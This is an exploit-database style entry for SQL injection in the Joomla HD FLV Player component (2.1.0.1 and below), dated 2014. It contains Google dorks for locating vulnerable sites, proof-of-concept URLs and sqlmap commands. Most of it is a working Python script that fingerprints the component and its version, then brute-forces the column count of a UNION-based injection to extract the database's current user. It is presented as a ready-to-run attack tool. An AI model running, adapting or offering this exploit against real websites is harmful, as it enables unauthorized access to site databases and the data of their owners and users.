Joomla HD FLV 2.1.0.1 SQL Injection

`#!/usr/bin/python  
#  
# Exploit Title : Joomla HD FLV 2.1.0.1 and below SQL Injection  
#  
# Exploit Author : Claudio Viviani  
#  
# Vendor Homepage : http://www.hdflvplayer.net/  
#  
# Software Link : http://www.hdflvplayer.net/download_count.php?pid=5  
#  
# Dork google 1: inurl:/component/hdflvplayer/  
# Dork google 2: inurl:com_hdflvplayer   
#  
# Date : 2014-11-11  
#  
# Tested on : BackBox 3.x/4.x  
#  
# Info: The variable "id" is not sanitized (again)  
# Over 80.000 downloads (statistic reported on official site)  
#  
#  
# Video Demo: http://youtu.be/-EdOQSjAhW8  
#  
# Poc:   
# http://www.target.it/index.php?option=com_hdflvplayer&id=1[Sqli]  
# http://www.target.it/index.php/component/hdflvplayer/182/title/Blabla-bleblo/id/6 [SQLi]/page/1 (url rewrite)  
#  
# Poc sqlmap:  
# sqlmap -u "http://www.target.it/index.php?option=com_hdflvplayer&id=1" -p id --dbms mysql  
# sqlmap -u "http://www.target.it/index.php/component/hdflvplayer/182/title/Blabla-bleblo/id/6*" --dbms mysql (url rewrite)  
#  
# http connection  
import urllib, urllib2  
# string manipulation  
import re  
# Errors management  
import sys  
# Args management  
import optparse  
  
# Check url  
def checkurl(url):  
if url[:8] != "https://" and url[:7] != "http://":  
print('[X] You must insert http:// or https:// procotol')  
sys.exit(1)  
else:  
return url  
  
banner = """  
_______ __ ___ ___ ______   
| _ .-----.-----.--------| .---.-. | Y | _ \   
|___| | _ | _ | | | _ | |. 1 |. | \   
|. | |_____|_____|__|__|__|__|___._| |. _ |. | \   
|: 1 | |: | |: 1 /   
|::.. . | |::.|:. |::.. . /   
`-------' `--- ---`------'   
_______ ___ ___ ___ _______ __   
| _ | | | Y | | _ | .---.-.--.--.-----.----.  
|. 1___|. | |. | | |. 1 | | _ | | | -__| _|  
|. __) |. |___|. | | |. ____|__|___._|___ |_____|__|   
|: | |: 1 |: 1 | |: | |_____|   
|::.| |::.. . |\:.. ./ |::.|   
`---' `-------' `---' `---'   
<= 2.1.0.1 Sql Injection  
  
Written by:  
  
Claudio Viviani  
  
http://www.homelab.it  
  
[email protected]  
[email protected]  
  
https://www.facebook.com/homelabit  
https://twitter.com/homelabit  
https://plus.google.com/+HomelabIt1/  
https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww  
"""  
  
commandList = optparse.OptionParser('usage: %prog -t URL')  
commandList.add_option('-t', '--target', action="store",  
help="Insert TARGET URL: http[s]://www.victim.com[:PORT]",  
)  
  
options, remainder = commandList.parse_args()  
  
# Check args  
if not options.target:  
print(banner)  
commandList.print_help()  
sys.exit(1)  
  
host = checkurl(options.target)  
  
checkext = 0  
  
evilurl = { '/index.php?option=com_hdflvplayer&id=-9404%20UNION%20ALL%20SELECT%20CONCAT%280x68306d336c34623174%2CIFNULL%28CAST%28CURRENT_USER%28%29%20AS%20CHAR%29%2C0x20%29%2C0x743162346c336d3068%29' : '/index.php?option=com_hdflvplayer&id=[SQLi]' }  
  
char = "%2CNULL"  
endurl = "%2CNULL%23"  
bar = "#"  
  
print(banner)  
  
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36'}  
  
sys.stdout.write("\r[+] Searching HD FLV Extension...: ")  
  
try:  
req = urllib2.Request(host+'/index.php?option=com_hdflvplayer&task=languagexml', None, headers)  
response = urllib2.urlopen(req).readlines()  
  
for line_version in response:  
  
if not line_version.find("<?xml version=\"1.0\" encoding=\"utf-8\"?>") == -1:  
checkext += 1  
else:  
checkext += 0  
  
if checkext > 0:   
sys.stdout.write("\r[+] Searching HD FLV Extension...: FOUND")  
else:  
sys.stdout.write("\r[+] Searching HD FLV Extension...: Not Found\n")  
sys.exit(1)  
  
except urllib2.HTTPError:  
sys.stdout.write("\r[+] Searching HD FLV Extension...: Not Found\n")  
sys.exit(1)  
  
except urllib2.URLError as e:  
print("\n[X] Connection Error: "+str(e.code))  
sys.exit(1)  
  
print("")  
  
sys.stdout.write("\r[+] Checking Version: ")  
  
try:  
req = urllib2.Request(host+'/modules/mod_hdflvplayer/mod_hdflvplayer.xml', None, headers)  
response = urllib2.urlopen(req).readlines()  
  
for line_version in response:  
  
if not line_version.find("<version>") == -1:  
  
VER = re.compile('>(.*?)<').search(line_version).group(1)  
  
sys.stdout.write("\r[+] Checking Version: "+str(VER))  
  
except urllib2.HTTPError:  
sys.stdout.write("\r[+] Checking Version: Unknown")  
  
except urllib2.URLError as e:  
print("\n[X] Connection Error: "+str(e.code))  
sys.exit(1)  
  
print("")  
  
for exploiting, dork in evilurl.iteritems():  
  
s = ""  
barcount = ""  
for a in range(1,100):  
  
s += char  
try:  
req = urllib2.Request(host+exploiting+s+endurl, None, headers)  
response = urllib2.urlopen(req).read()  
  
if "h0m3l4b1t" in response:  
print "\n[!] VULNERABLE"  
current_user = re.compile('h0m3l4b1t(.*?)t1b4l3m0h').search(response).group(1)  
print "[*] Username: "+str(current_user)  
print ""  
print "[*] 3v1l Url: "+host+exploiting+s+endurl  
sys.exit(0)  
  
except urllib2.HTTPError as e:  
response = e.read()  
if "h0m3l4b1t" in response:  
print "\n[!] VULNERABLE"  
current_user = re.compile('h0m3l4b1t(.*?)t1b4l3m0h').search(response).group(1)  
print "[*] Username: "+str(current_user)  
print ""  
print "[*] 3v1l Url: "+host+exploiting+s+endurl  
sys.exit(0)  
  
except urllib2.URLError as e:  
print("\n[X] Connection Error: "+str(e.code))  
sys.exit(1)  
  
barcount += bar  
sys.stdout.write("\r[+] Exploiting...please wait: "+barcount)  
sys.stdout.flush()  
  
print "\n[X] Not vulnerable :("  
print "[X] Try with tool like sqlmap and url "+host+"/index.php?option=com_hdflvplayer&id=1 (valid id number)"  
`